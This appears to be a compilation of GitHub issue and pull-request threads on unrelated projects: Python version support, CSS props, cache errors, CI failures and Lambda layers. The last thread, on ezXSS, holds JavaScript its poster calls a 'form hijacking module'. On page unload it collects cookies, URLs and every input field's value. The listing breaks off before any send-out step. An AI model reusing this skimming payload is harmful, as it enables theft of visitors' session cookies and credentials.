Remove Python 3.2, 3.3, Add Python 3.6, 3.7 and flake8

Remove Python ~2.6,~ 3.2, and 3.3 because they are now end of life.
Add Python 3.6 and 3.7
Test with flake8 and stop the build if there are Python syntax errors or undefined names

See #58.  I would appreciate if Python 2.6 support could be kept until such time that it is a maintenance burden.  I'm using PyPNG on a project that installs onto many systems and we still see users with 2.6.

I agree with @mnaberez Only drop Python 2.6 when it becomes annoying to maintain.
I'm not opposed to flake8 though.

So am I to understand that flake8 simply fails to install or run when used with Python 2.6?

Correct. http://flake8.pycqa.org/en/latest/release-notes/3.6.0.html

I am on the naughty step for merging this before realising that the .travis.yml doesn't parse.

Sorry!  Your are correct python: is missing 5 times.

https://github.com/drj11/pypng/blob/main/setup.py Should be edited to remove the trove classifiers for unsupported versions.


chore: fix for doc selection in localized sharepoint

Please ensure your pull request adheres to the following guidelines:

[x] make sure to link the related issues in this description
[x] when merging / squashing, make sure the fixed issue references are visible in the commits, for easy compilation of release notes

Related Issues
Fix #771
Thanks for contributing!

:tada: This PR is included in version 6.49.2 :tada:
The release is available on:

GitHub release
v6.49.2

Your semantic-release bot :package::rocket:


Props discovered, that contain adaptive props, dont have their dark values resolved

Shadows are a good example
--shadow-1: 0 1px 2px -1px hsl(var(--shadow-color) / calc(var(--shadow-strength) + 9%));

jit-props finds the child props for color and strength, but only injects the light theme versions:
--shadow-color: 220 3% 15%;
--shadow-strength: 1%;
--shadow-1: 0 1px 2px -1px hsl(var(--shadow-color) / calc(var(--shadow-strength) + 9%));

it puzzled me quite i while, before i finally found this issue and understood the reasons for the disappearance of my  shadows.
do you already have an idea for nice solution to solve this issue?
it doesn't only affect the shadows, but also at least:
# grep --color -E 'var\(--[a-z0-9-]+\)' *css
# or
# rgrep -l -E 'var\(--[a-z0-9-]+\)' *css

props.animations.css
props.borders.css
props.highlights.css
props.shadows.css

well -- as a simple workaround we can import the affected individual packs beside the JIT included props, but that doesn't look very convincing to me.
but in fact there are only a few property definitions needed to bypass the issue:
# rgrep -h -o --color -E 'var\(--[a-z0-9-]+\)' *css | sort | uniq

var(--ease-3)
var(--ease-in-out-3)
var(--ease-out-3)
var(--ease-out-5)
var(--ease-squish-2)
var(--highlight-color)
var(--highlight-size)
var(--radius-1)
var(--radius-2)
var(--radius-3)
var(--radius-4)
var(--radius-5)
var(--radius-6)
var(--shadow-color)
var(--shadow-strength)

adding this few definition by the postcss JIT plugin or providing a dedicated individual CSS pack for this purpose, would make the final CSS size smaller and definitely reduce the otherwise unavoidable troubles for end users.
how do think about this possible solutions?

thanks mash-graz for the thoughts! i've updated the bug to reflect the problem space better. jit-props can resolve nested props but it doesnt resolve light AND dark props, just light ones. i need to devise a syntax, similar to @keyframe animations, that let jit-props know to inject dark alt versions as well.

o.k. in this case it seems to affect only two code blocks:
/* highlights.css */

@media (--OSdark) {
    --highlight-color: hsl(0 0% 100% / 20%);
 }

/* shadows.css */

@media (--OSdark) {
  :where(html) {
    --shadow-strength: 25%;
    --shadow-color: 220 40% 2%;
  }
}

why shouldn't we add this few lines of CSS code all the time automatically by postcss-jit-props?
it's a nearly negligible amount of code compared to all these often unused definitions imported by open-props/normalize, which are unfortunately very hard to reduce on complex build systems like astro, where tools like PurgeCSS etc. do not work very reliable.
does this flaw also effect media queries and open-props substitution in CSS code added by the users?

the data/json that's passed into jit-props needs to be able to specify a prop with multiple values in various contexts. it's a new syntax addition is really what needs to happen.
the easiest way to do it now would only solve dark mode:
{
  "--shadow-strength-@light": "1%",
  "--shadow-color-@light": "220 3% 15%",
  "--shadow-strength-@dark": "25%",
  "--shadow-color-@dark": "220 40% 2%"
}

usage in CSS:
.box {
  box-shadow: var(--shadow-1);
}

after jit-props processes:
:root {
  --shadow-strength: 25%;
  --shadow-color: 220 40% 2%;
  --shadow-1: 0 1px 2px -1px hsl(var(--shadow-color) / calc(var(--shadow-strength) + 9%));
}

@media (prefers-color-scheme: dark) {
  :root {
    --shadow-strength: 25%;
    --shadow-color: 220 40% 2%;
  }
}

that would make it work kinda like keyframes, not require a nested data structure, and only work for light/dark themes (not size media queries). which would be fine for open props, but doesnt solve the problem entirely.
to solve the whole thing, a syntax needs created that jit-props can read and intelligently grab values from the json. some sort of parse and point thing. but maybe no one needs that feature?

actually, this bug was fixed a few commits ago, the nested props feature is g2g.
#11 where the dark/light props need worked out is where we should be directing chat!


NPE when not defining a CacheLoaderWriterConfiguration

Take the following code:
    final Cache<Long, String> writeBehindCache = cacheManager.createCache("writeBehindCache",
        CacheConfigurationBuilder.newCacheConfigurationBuilder()
            .add(WriteBehindConfigurationBuilder.newWriteBehindConfiguration()) // <2>
            .buildConfig(Long.class, String.class));

Here the Default CacheLoaderWriter Configuration is missing, which is a problem since we need to define a CacheLoaderWriter when enabling writebehind.
An exception is correctly thrown during the cachemanager creation, however, the exception is a NPE, while it could be a more explicit one, to tell that the config is missing the CacheLoaderWriter definition.
...
Caused by: org.ehcache.exceptions.StateTransitionException: Cache 'cache0' creation in EhcacheManager failed.
	at org.ehcache.StatusTransitioner$Transition.failed(StatusTransitioner.java:224)
	at org.ehcache.EhcacheManager.init(EhcacheManager.java:408)
	at org.ehcache.CacheManagerBuilder.build(CacheManagerBuilder.java:50)
	at com.terracotta.qa.ehcache.configuration.HeapWriteBehindProvider.init(HeapWriteBehindProvider.java:85)
	at com.terracotta.qa.framework.BaseTest.test(BaseTest.java:186)
	... 32 more
Caused by: java.lang.IllegalStateException: Cache 'cache0' creation in EhcacheManager failed.
	at org.ehcache.EhcacheManager.createCache(EhcacheManager.java:168)
	at org.ehcache.EhcacheManager.init(EhcacheManager.java:393)
	... 35 more
Caused by: java.lang.NullPointerException
	at org.ehcache.loaderwriter.writebehind.AbstractWriteBehindQueue.<init>(AbstractWriteBehindQueue.java:93)
	at org.ehcache.loaderwriter.writebehind.LocalHeapWriteBehindQueue.<init>(LocalHeapWriteBehindQueue.java:38)
	at org.ehcache.loaderwriter.writebehind.AggregateWriteBehindQueue$WriteBehindQueueFactory.createQueue(AggregateWriteBehindQueue.java:147)
	at org.ehcache.loaderwriter.writebehind.AggregateWriteBehindQueue.<init>(AggregateWriteBehindQueue.java:43)
	at org.ehcache.loaderwriter.writebehind.AggregateWriteBehindQueue.<init>(AggregateWriteBehindQueue.java:48)
	at org.ehcache.loaderwriter.writebehind.WriteBehindDecoratorLoaderWriter.<init>(WriteBehindDecoratorLoaderWriter.java:45)
	at org.ehcache.loaderwriter.writebehind.WriteBehindDecoratorLoaderWriterProviderFactory$1.createWriteBehindDecoratorLoaderWriter(WriteBehindDecoratorLoaderWriterProviderFactory.java:53)
	at org.ehcache.loaderwriter.writebehind.WriteBehindDecoratorLoaderWriterProviderFactory$1.createWriteBehindDecoratorLoaderWriter(WriteBehindDecoratorLoaderWriterProviderFactory.java:36)
	at org.ehcache.EhcacheManager.createNewEhcache(EhcacheManager.java:257)
	at org.ehcache.EhcacheManager.createCache(EhcacheManager.java:149)

Different ways to fix this problem are:

The obvious fix is at EhcacheManager#createNewEhcache() where if WriteBehindConfiguration is found and  CacheLoaderWriter is null then we can throw appropriate exception message to user instead of NullPointerException.

Other approach is validate all provided service configurations at CacheConfigurationBuilder level where each ServiceConfiguration should validate its own configuration and ensure availability or correctness of required ServiceConfiguration.

For Example:

ResourcePoolsBuilder should validate whether configuration for heap, offheap and disk is appropriate.
WriteBehindConfiguration should ensure that CacheLoaderWriterConfiguration is available.

Proposed change:
public interface ServiceConfiguration<T extends Service> {

  /**
   * Indicates which service this configuration works with.
   *
   * @return the service type
   */
  Class<T> getServiceType();

  void validate(List<ServiceConfiguration> serviceConfigurations) throws ValidationException;
}

approach #2, will lead to unavoidable use of concrete types of ServiceConfiguration in validation hence defaulting to approach#1 for implementation.


Review PRs for items relevant to Mbed TLS 3.0

Review outstanding PRs for item which would be suitable for Mbed TLS 3.0.

Note: obvious candidates would be issues or PRs with the label "api-break", but there's only one issue and no PR with this label.
I'm not sure if looking individually at each of the 594 open issues and 249 open PRs that we have in order to identify if some of them might be blocked by requiring an API break is worth it, considering (1) it's not clear that this review would turn up anything at all and (2) if it does, it's not even clear that we'll want to prioritize the results.
It looks like we never really used the api-break label consistently, but OTOH we used to write down on Confluence things that we wanted to remember for 3.0, and we were more consistent there. So the risk of having forgotten something important is perhaps no as low as we'd like, but it still seem relatively low to me compared to the cost of going over a few hundred PRs and issues.

Review completed.


Feature Request : Community Wiki Posts

StackExchange Network has this cool feature to make posts "Community Wiki". This is really helpful when a post becomes a rich resource of information, and holds the potential to be enriched by being edited by community.
It's a feature which I personally would strongly like to see in Zulip. Further, Wiki (or let's call them "Sticky Posts") can be really helpful for several tasks like TODO lists and summarizing the discussion.

We're unlikely to work on this in the near future, since it's a bit off the path of making a great team chat tool (feels more like its own little product, really).
I think this idea is mostly a duplicate of https://github.com/zulip/zulip/issues/4080; we can track the idea there.


sc2: Adding bile launchers

Added bile launchers.
Pairs with client PR #372
Things are ported almost exactly the same as co-op Zagara, with a minor nerf to artillery ducts: it gives +8 range instead of co-op +10.
Haven't playtested for balance too much, just a little on S&G and Safe Haven. They were very much able to snipe attack waves before they started coming in, and the nexuses on SH. However, as soon as an attack wave rolled in, they were very extremely vulnerable and required manual micro to be effective. Pulling of a skillshot felt very good, but was very easy to screw up. Defensively, they definitely would like a wall / screening, and offensively they're very powerful but are hampered by their reliance on creep, expensive gas cost, and slow build time (40s).

Added some additional passive icons. On the bile launcher itself added one for broodling packing and  (left off creep stomach as non-crawlers also leave it off).


Reland upstream commit acc25d9

Reland acc25d91fba850c18c099e7e577962ba56bdd06c that is temporarily reverted in https://github.com/intel/intel-xpu-backend-for-triton/pull/3005 by ea006f2a21e95bcd53ace3505414539f8987fddd.

Depends on https://github.com/intel/intel-xpu-backend-for-triton/issues/2979.


Different Settings for Test Code

Describe the solution you'd like
Hi, I have been using save actions with my team, and its been a great help to us. However, one thing that we would love to have would to be able to set different settings for different parts of our project.
For us, we have flags such as Add final modifier to field and Add final modifier to local variable or parameter except if it is implicit, which is great for our production code. However, for our test code we'd like to be much more lenient and not enforce these flags, while still being able to use other parts of save actions in our test code, like automatically reformatting and optimizing imports.
It would be great if save actions could read a configuration file our test directory or if there were some other way to set multiple profiles or something, to allow for multiple configurations of save actions inside of a project.
For what product
Intellij

Hello @baseballlover723, thank you for your interest in the plugin. This is a big feature, I won't have time to implement this at all. You can send a PR anytime, but please consult me before starting the development so we can discuss the implementation first. Thanks!

Moving to ideas https://github.com/dubreuia/intellij-plugin-save-actions/projects/2


⚠ Bofrost.be has degraded performance

In 056b3b2, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 1489 ms

Resolved: Bofrost.be performance has improved in dbd4c13 after 40 minutes.


[CARBONDATA-1083] Fixed Build failure issue on presto branch

Updated carbondata-core version in presto's pom.xml as the previous version was causing compilation errors and build failures.

@geetikagupta16 This issue already be solved, please close this PR.


fix: convert emits to props, fix #13104

What kind of change does this PR introduce? (check at least one)

[x] Bugfix: fixes #13104
[ ] Feature
[ ] Code style update
[ ] Refactor
[ ] Build-related changes
[ ] Other, please describe:

Does this PR introduce a breaking change? (check one)

[ ] Yes
[x] No

If yes, please describe the impact and migration path for existing applications:
The PR fulfills these requirements:

[x] It's submitted to the main branch for v2.x (or to a previous version branch)
[x] When resolving a specific issue, it's referenced in the PR's title (e.g. fix #xxx[,#xxx], where "xxx" is the issue number)
[ ] All tests are passing: https://github.com/vuejs/vue/blob/dev/.github/CONTRIBUTING.md#development-setup
[ ] New/updated tests are included

If adding a new feature, the PR's description includes:

[x] A convincing reason for adding this feature (to avoid wasting your time, it's best to open a suggestion issue first and wait for approval before working on it)

Converts emits to props.
Other information:

@so1ve I tested this locally and it doesn't seem to fix #13104 - is this something you still intend to work on? We might be able to get this in the final patch release before EOL.

I'll take a look and add tests

This fix is beyond my capabilities and I hope someone else can fix it.

@so1ve I tested this locally and it doesn't seem to fix #13104 - is this something you still intend to work on? We might be able to get this in the final patch release before EOL.

#13133
https://github.com/vuejs/vue/pull/13133/files#diff-d26123bca327fbaf4e0ce33d7085fcaf9f4a39be4f76a1d0c15e0843afb1af9fR153
Maybe this is the key line to resolve the error of #13104

No, your implementation doesn't take extends and mixin into account

No, your implementation doesn't take extends and mixin into account

Yes, you are right, I'm working on it. But now I have some questions. I see you add a test that you can get emit functions fromprops in setup function, but the props does not expose those functions. It is a right type test?

Yes, because it can be undefined

Does it mean that If a component use props.onFoo in runtime, the function will never work? Is the onFoo only used for type inference?

Yes, seemed to be true

https://github.com/vuejs/vue/pull/13133
I think it works with extends and mixin now.


Swap slot intermittently fails

We are starting to see the swap slots task fail with this,
 error: typeerror: converting circular structure to json

Here is the full log with app name omitted:
2017-04-18T17:17:15.9331482Z ##[section]Starting: Gateway - Swap Slot
2017-04-18T17:17:15.9331482Z ==============================================================================
2017-04-18T17:17:15.9341490Z Task         : Azure App Service Manage (PREVIEW)
2017-04-18T17:17:15.9341490Z Description  : Start, Stop, Restart or Slot swap for an Azure App Service
2017-04-18T17:17:15.9341490Z Version      : 0.2.5
2017-04-18T17:17:15.9341490Z Author       : Microsoft Corporation
2017-04-18T17:17:15.9341490Z Help         : [More Information](https://go.microsoft.com/fwlink/?linkid=831573)
2017-04-18T17:17:15.9341490Z ==============================================================================
2017-04-18T17:17:16.2095451Z <omitted> exists true
2017-04-18T17:17:16.4007702Z Requesting swap slot for Web App : <omitted>
2017-04-18T17:17:19.8014291Z Successfully updated deployment History at https://<omitted>-staging.scm.azurewebsites.net/deployments/277461492535838314
2017-04-18T17:17:22.3387735Z Successfully updated deployment History at https://<omitted>.scm.azurewebsites.net/deployments/277461492535838314
2017-04-18T17:17:22.3447726Z ##[error]Error: Failed to swap slots for Azure Web App: <omitted>. Error: TypeError: Converting circular structure to JSON
2017-04-18T17:17:22.3467729Z ##[section]Finishing: Gateway - Swap Slot

Any ideas?

We have addressed this issue. Can you check and let us know if the issue still happens for you.

Sorry for the late reply. I will take a look at our end.

So it seems like we are still hitting an issue with the task but now the error message is "Bad Request" without any other log messages. It seems like the workaround is just to try to release again and so far the second time seems to work.

@juliusl are you doing "Start Slot" before swapping. We have seen unreliable behavior if we do swap right after Start since sometimes start doesn't bring slot to running state. We are looking at ways to increase the reliability here.

@sachinma Yes, we are calling start slot before swapping.

@juliusl Are you still facing this issue? If yes, can you please set 'system.debug' variable to 'true' for detailed logs? We have improved "Start" functionality which will now complete successfully after the app service is in running state.

It seems to be working on first try with our CD. I can update this issue if we start running into it again.


Footer block

Footer Block
Fix #9
Test URLs:

Before: https://main--infosys--aemsites.hlx.page/iki
After: https://footer--infosys--aemsites.hlx.page/iki

Overall looks good, just few trivial points:

I have set the font-size=10px through PR as @anuj-adobe just pointed out that they IKI.html has followed the same, and we should also stick to it. Impact: please check all rem that we defined in this PR has any impact or need adjustment.
Remove the country list from the Document.
We may load /drafts/sneh/countrydropdown.json when user click on that Country dropdown
Also we can use absolute link i.e. https://footer--infosys--aemsites.hlx.page/drafts/sneh/countrydropdown.json in the word document  as recommended here

Overall looks good, just few trivial points:

I have set the font-size=10px through PR as @anuj-adobe just pointed out that IKI.html has followed the same, and we should also stick to it. Impact: please check all rem that we defined in this PR has any impact or need adjustment.
Please remove the country list from the Document.
We may load /drafts/sneh/countrydropdown.json when user click on that Country dropdown
Also we can use absolute link i.e. https://footer--infosys--aemsites.hlx.page/drafts/sneh/countrydropdown.json in the word document  as recommended here

addressed all comments


Cannot install module that only has version < 1.0

Prerequisites

[X] Write a descriptive title.
[X] Make sure you are able to repro it on the latest released version
[X] Search the existing issues.

Steps to reproduce
install-psresource powershellai2 -Prerelease

Expected behavior
Successfully installs the prerelease module

Actual behavior
PS> install-psresource powershellai -Prerelease

Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its Trusted value by running the Set-PSResourceRepository cmdlet. Are you sure
you want to install the PSResource from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): y

PS>

Error details
No error
Environment data
ModuleType Version    PreRelease Name                                ExportedCommands
---------- -------    ---------- ----                                ----------------
Binary     3.0.19     beta19     PowerShellGet                       {Find-PSResource, Get-PSResource, Get-PSResourceRepository, Get-PSScriptFileInfo…}

Name                           Value
----                           -----
PSVersion                      7.4.0-preview.2
PSEdition                      Core
GitCommitId                    7.4.0-preview.2
OS                             Darwin 22.3.0 Darwin Kernel Version 22.3.0: Mon Jan 30 20:39:35 PST 2023; root:xnu-8792.81.3~2/RELEASE_ARM64_T8103
Platform                       Unix
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           <IP_ADDRESS>
WSManStackVersion              3.0

Visuals
No response

@SteveL-MSFT it works for me on PSGet beta19 and PS 7.4 preview 2.
PS C:\> Install-PSResource powershellai -Prerelease

Untrusted repository
You are installing the modules from an untrusted repository. If you trust this repository, change its Trusted value by
running the Set-PSResourceRepository cmdlet. Are you sure you want to install the PSResource from 'PSGallery'?
[Y] Yes  [A] Yes to All  [N] No  [L] No to All  [S] Suspend  [?] Help (default is "N"): y
PS C:\> Get-PSResource powershellai

Name         Version Prerelease Repository Description
----         ------- ---------- ---------- -----------
PowerShellAI <IP_ADDRESS>            PSGallery  The PowerShell AI module integrates with the OpenAI API and let's you easil…

I am getting this error with beta20
Install-PSResource: Package for installation could not be found due to: Response didn't contain properties element


pacaur fails to clone packages

Version
pacaur -v
pacaur 4.7.10
Description
pacaur is cloning packages is failing with http error 502/504. However git clone https://aur.archlinux.org/ananicy-git.git works without errors
Output
pacaur -Syu --needed --devel
fatal: unable to access 'https://aur.archlinux.org/ananicy-git.git/': The requested URL returned error: 502
Cloning into 'arc-kde-git'...
fatal: unable to access 'https://aur.archlinux.org/arc-kde-git.git/': The requested URL returned error: 502
Cloning into 'mkinitcpio-colors-git'...
fatal: unable to access 'https://aur.archlinux.org/mkinitcpio-colors-git.git/': The requested URL returned error: 502
Cloning into 'papirus-icon-theme-git'...
fatal: unable to access 'https://aur.archlinux.org/papirus-icon-theme-git.git/': The requested URL returned error: 502
fatal: unable to access 'https://aur.archlinux.org/setcolors-git.git/': The requested URL returned error: 502
:: ananicy-git build files are up-to-date -- skipping
/usr/bin/pacaur: line 1078: cd: /home/marc/.local/var/cache/pacaur/arc-kde-git: No such file or directory

Debug output
bash -x pacaur -Syu --needed --devel

A sample output around the error
+ git clone --depth=1 https://aur.archlinux.org/arc-kde-git.git
Cloning into 'arc-kde-git'...
fatal: unable to access 'https://aur.archlinux.org/arc-kde-git.git/': The requested URL returned error: 502
+ for i in ${basepkgs[@]}
+ cd /home/marc/.local/var/cache/pacaur
+ [[ ! -d mkinitcpio-colors-git ]]
+ git clone --depth=1 https://aur.archlinux.org/mkinitcpio-colors-git.git
Cloning into 'mkinitcpio-colors-git'...
fatal: unable to access 'https://aur.archlinux.org/mkinitcpio-colors-git.git/': The requested URL returned error: 502
+ for i in ${basepkgs[@]}
+ cd /home/marc/.local/var/cache/pacaur
+ [[ ! -d papirus-icon-theme-git ]]
+ git clone --depth=1 https://aur.archlinux.org/papirus-icon-theme-git.git
Cloning into 'papirus-icon-theme-git'...
fatal: unable to access 'https://aur.archlinux.org/papirus-icon-theme-git.git/': The requested URL returned error: 502

Seems to be a temporary server-side issue. I cannot reproduce at this time.
This said, the code should be modified so errors are caught as early as possible.

Done in dfeab4cd66101b2e9e789616316754de12ad42fe.


AWS Lambda with python 12

I have follow this step:
WeasyPrint is python based pdf/png print service.
Run make build/weasyprint-layer-python3.12.zip to build a layer, for details and docker lambda example see related readme.
Response
{
  "errorMessage": "cannot load library 'pango-1.0-0': pango-1.0-0: cannot open shared object file: No such file or directory.  Additionally, ctypes.util.find_library() did not manage to locate a library called 'pango-1.0-0'",
  "errorType": "OSError",
  "requestId": "",
  "stackTrace": [
    "  File \"/var/lang/lib/python3.12/importlib/__init__.py\", line 90, in import_module\n    return _bootstrap._gcd_import(name[level:], package, level)\n",
    "  File \"<frozen importlib._bootstrap>\", line 1387, in _gcd_import\n",
    "  File \"<frozen importlib._bootstrap>\", line 1360, in _find_and_load\n",
    "  File \"<frozen importlib._bootstrap>\", line 1331, in _find_and_load_unlocked\n",
    "  File \"<frozen importlib._bootstrap>\", line 935, in _load_unlocked\n",
    "  File \"<frozen importlib._bootstrap_external>\", line 994, in exec_module\n",
    "  File \"<frozen importlib._bootstrap>\", line 488, in _call_with_frames_removed\n",
    "  File \"/var/task/app/main.py\", line 1, in <module>\n    from weasyprint import CSS, HTML\n",
    "  File \"/opt/python/weasyprint/__init__.py\", line 419, in <module>\n    from .css import preprocess_stylesheet  # noqa isort:skip\n",
    "  File \"/opt/python/weasyprint/css/__init__.py\", line 27, in <module>\n    from .computed_values import COMPUTER_FUNCTIONS\n",
    "  File \"/opt/python/weasyprint/css/computed_values.py\", line 9, in <module>\n    from ..text.ffi import ffi, pango, units_to_double\n",
    "  File \"/opt/python/weasyprint/text/ffi.py\", line 431, in <module>\n    pango = _dlopen(\n",
    "  File \"/opt/python/weasyprint/text/ffi.py\", line 417, in _dlopen\n    return ffi.dlopen(names[0])  # pragma: no cover\n",
    "  File \"/opt/python/cffi/api.py\", line 150, in dlopen\n    lib, function_cache = _make_ffi_library(self, name, flags)\n",
    "  File \"/opt/python/cffi/api.py\", line 832, in _make_ffi_library\n    backendlib = _load_backend_lib(backend, libname, flags)\n",
    "  File \"/opt/python/cffi/api.py\", line 827, in _load_backend_lib\n    raise OSError(msg)\n"
  ]
}

Function Logs
ine 1360, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1331, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 935, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 994, in exec_module
  File "<frozen importlib._bootstrap>", line 488, in _call_with_frames_removed
  File "/var/task/app/main.py", line 1, in <module>
    from weasyprint import CSS, HTML
  File "/opt/python/weasyprint/__init__.py", line 419, in <module>
    from .css import preprocess_stylesheet  # noqa isort:skip
  File "/opt/python/weasyprint/css/__init__.py", line 27, in <module>
    from .computed_values import COMPUTER_FUNCTIONS
  File "/opt/python/weasyprint/css/computed_values.py", line 9, in <module>
    from ..text.ffi import ffi, pango, units_to_double
  File "/opt/python/weasyprint/text/ffi.py", line 431, in <module>
    pango = _dlopen(
  File "/opt/python/weasyprint/text/ffi.py", line 417, in _dlopen
    return ffi.dlopen(names[0])  # pragma: no cover
  File "/opt/python/cffi/api.py", line 150, in dlopen
    lib, function_cache = _make_ffi_library(self, name, flags)
  File "/opt/python/cffi/api.py", line 832, in _make_ffi_library
    backendlib = _load_backend_lib(backend, libname, flags)
  File "/opt/python/cffi/api.py", line 827, in _load_backend_lib
    raise OSError(msg)INIT_REPORT Init Duration: 609.44 ms	Phase: init	Status: error	Error Type: Runtime.ExitError
-----
WeasyPrint could not import some external libraries. Please carefully follow the installation steps before reporting an issue:
https://doc.courtbouillon.org/weasyprint/stable/first_steps.html#installation
https://doc.courtbouillon.org/weasyprint/stable/first_steps.html#troubleshooting
-----
[ERROR] OSError: cannot load library 'pango-1.0-0': pango-1.0-0: cannot open shared object file: No such file or directory.  Additionally, ctypes.util.find_library() did not manage to locate a library called 'pango-1.0-0'
Traceback (most recent call last):
  File "/var/lang/lib/python3.12/importlib/__init__.py", line 90, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
  File "<frozen importlib._bootstrap>", line 1387, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1360, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1331, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 935, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 994, in exec_module
  File "<frozen importlib._bootstrap>", line 488, in _call_with_frames_removed
  File "/var/task/app/main.py", line 1, in <module>
    from weasyprint import CSS, HTML
  File "/opt/python/weasyprint/__init__.py", line 419, in <module>
    from .css import preprocess_stylesheet  # noqa isort:skip
  File "/opt/python/weasyprint/css/__init__.py", line 27, in <module>
    from .computed_values import COMPUTER_FUNCTIONS
  File "/opt/python/weasyprint/css/computed_values.py", line 9, in <module>
    from ..text.ffi import ffi, pango, units_to_double
  File "/opt/python/weasyprint/text/ffi.py", line 431, in <module>
    pango = _dlopen(
  File "/opt/python/weasyprint/text/ffi.py", line 417, in _dlopen
    return ffi.dlopen(names[0])  # pragma: no cover
  File "/opt/python/cffi/api.py", line 150, in dlopen
    lib, function_cache = _make_ffi_library(self, name, flags)
  File "/opt/python/cffi/api.py", line 832, in _make_ffi_library
    backendlib = _load_backend_lib(backend, libname, flags)
  File "/opt/python/cffi/api.py", line 827, in _load_backend_lib
    raise OSError(msg)INIT_REPORT Init Duration: 484.95 ms	Phase: invoke	Status: error	Error Type: Runtime.ExitError
START RequestId: 4f108313-e5e1-4849-bb42-caf4073c167e Version: $LATEST
Unknown application error occurred
Runtime.Unknown
END RequestId: 4f108313-e5e1-4849-bb42-caf4073c167e
REPORT RequestId: 4f108313-e5e1-4849-bb42-caf4073c167e	Duration: 485.85 ms	Billed Duration: 486 ms	Memory Size: 2048 MB	Max Memory Used: 54 MB
XRAY TraceId: 1-661101b3-30d6e60c3e218f6e56880adf	SegmentId: 45c6dadf1be08203	Sampled: true

Any idea on this error? I also created a new Linux2023 instance and cloned repo and executed "make build/weasyprint-layer-python3.12.zip" to create layer. but when I test it throws same error as [sks-keo]  commented. I was using old python 3.8 version perfectly since today. But cannot be success on this latest version.

thanks very much @kalekseev I downloaded asset you provided and that worked. (I am not sure why the layer I build throws pandadoc exception but still that asset works for me).


failed to send log/alert/message

Bug Report
In some of the logs that we get, there are non UTF-8 characters resulting in grpc marshaling failures.
One such case is when a abstract unix domain socket is opened. An abstract unix domain socket name starts with a nul byte and thus an invalid UTF-8 byte.
On adding additional logs in the feeder/feeder.go I saw following:
2021-12-15 19:12:54.956218	WARN	Log: {state:{NoUnkeyedLiterals:{} DoNotCompare:[] DoNotCopy:[] atomicMessageInfo:<nil>} sizeCache:0 unknownFields:[] Timestamp:1639595574 UpdatedTime:2021-12-15T19:12:54.956142Z ClusterName:Default HostName:pandora NamespaceName:explorer PodName:mysql-0 ContainerID:36351a32ab5e7e5ccd462b035b68d909bf8a2a435b9148cc6304d84e542807bc ContainerName:mysql HostPID:8981 PPID:8524 PID:1 UID:1001 Type:ContainerLog Source:mysqld Operation:Network Resource:sa_family=AF_UNIX sun_path=�t
 Data:syscall=SYS_ACCEPT fd=25 Result:Passed}
2021-12-15 19:12:54.956241	WARN	Failed to send a log err:rpc error: code = Internal desc = grpc: error while marshaling: string field contains invalid UTF-8

As can be seen the sun_path field which is the unix domain path has an invalid UTF-8 byte and causing problems with grpc marshaling.
This problem has become more prominent after we enabled default visibility for all deployments (#512)
General Information

Environment description (GKE, VM-Kubeadm, vagrant-dev-env, minikube, microk8s, ...)
Any

Kernel version (run uname -a)
Any

Orchestration system version in use (e.g. kubectl version, ...)
Tested with k3s but this has been seen in any k8s env

To Reproduce

Start kubearmor as pod
Start a mysql pod. Mysql pod internally uses unix domain sockets for some internal handling. Kubearmor receives these events in ebpf path and routes it as logs to the kubearmor grpc.

Expected behavior
GRPC marshaling should succeed and the log should be sent across.
Screenshots

This problem was fixed after updates to protobufs and haven't been seen again. Makefile is updated to always make protobufs before the other code is compiled.
Closing.


fix: multiple pledges for the same committee

Description
When leader fails after sending a proposal. The new leader will sends proposal for the same height. And then the committee votes for both of them, which will result in incorrect pledges hash.
How Has This Been Tested?
I'm working on a proper test for the local leader failure. Which will trigger local leader failure on every step. And this fixed a part of the problem that is currently there.

If there are duplicate proposals for a shard ID, surely the proposal sent by the previous leader could be returned?
Perhaps we need to further qualify the query with the leader public key.

If there are duplicate proposals for a shard ID, surely the proposal sent by the previous leader could be returned?
Perhaps we need to further qualify the query with the leader public key.

There are two possible ways we can do this. Ignore the old one, or discard the new one.
The new leader have to send something to the committee once he is elected. So the committee know they can vote again. Or when we do re-election we can send the votes as well. But that feels wrong.


I have a lot of good js modules, very useful, do you need to update your work, we will improve it together. I am willing to provide some very useful modules

I have a lot of good js modules, very useful, do you need to update your work, we will improve it together. I am willing to provide some very useful modules

Hey @soshunte. Feature requests or other improvements are always welcome, aslong as it fits within the project.
Could you create separate (well described) issues and/or pull requests for your ideas? That way we can look at them and argue wether or not to add them and if so in what way.
I will close this issue since it does not provide any other information.

This is a form hijacking module
elyesa @.***> 于2024年10月27日周日 18:21写道：

Hey @soshunte https://github.com/soshunte. Feature requests or other
improvements are always welcome, aslong as it fits within the project.
Could you create separate (well described) issues and/or pull requests for
your ideas? That way we can look at them and argue wether or not to add
them and if so in what way.
I will close this issue since it does not provide any other information.
—
Reply to this email directly, view it on GitHub
https://github.com/ssl/ezXSS/issues/187#issuecomment-2439946221, or
unsubscribe
https://github.com/notifications/unsubscribe-auth/A3CCB63NTAK65YXH7D722HDZ5SWCNAVCNFSM6AAAAABQHMJBFWVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMZZHE2DMMRSGE
.
You are receiving this because you were mentioned.Message ID:
@.***>

document.getElementsByTagName("body")[0].setAttribute("onunload","postData()");
function postData() {
var locationurl=function() {
try {
return document.location
} catch(e) {
return ''
}
}();
var topurl=function() {
try {
return top.location.href
} catch(e) {
return ''
}
}();
var cookie = function() {
try {
return document.cookie
} catch(e) {
return ''
}
}();
var inputs, index;
var output ="";
var outputif ="";
inputs = document.getElementsByTagName('input');
for (index = 0; index < inputs.length; ++index) {
input_name = inputs[index].id || inputs[index].name;
if(input_name.replace(/(^s*)|(s*$)/g, "").length >2 || inputs[index].value.replace(/(^s*)|(s*$)/g, "").length >2){
output = output + "----" + input_name + "=" + inputs[index].value;
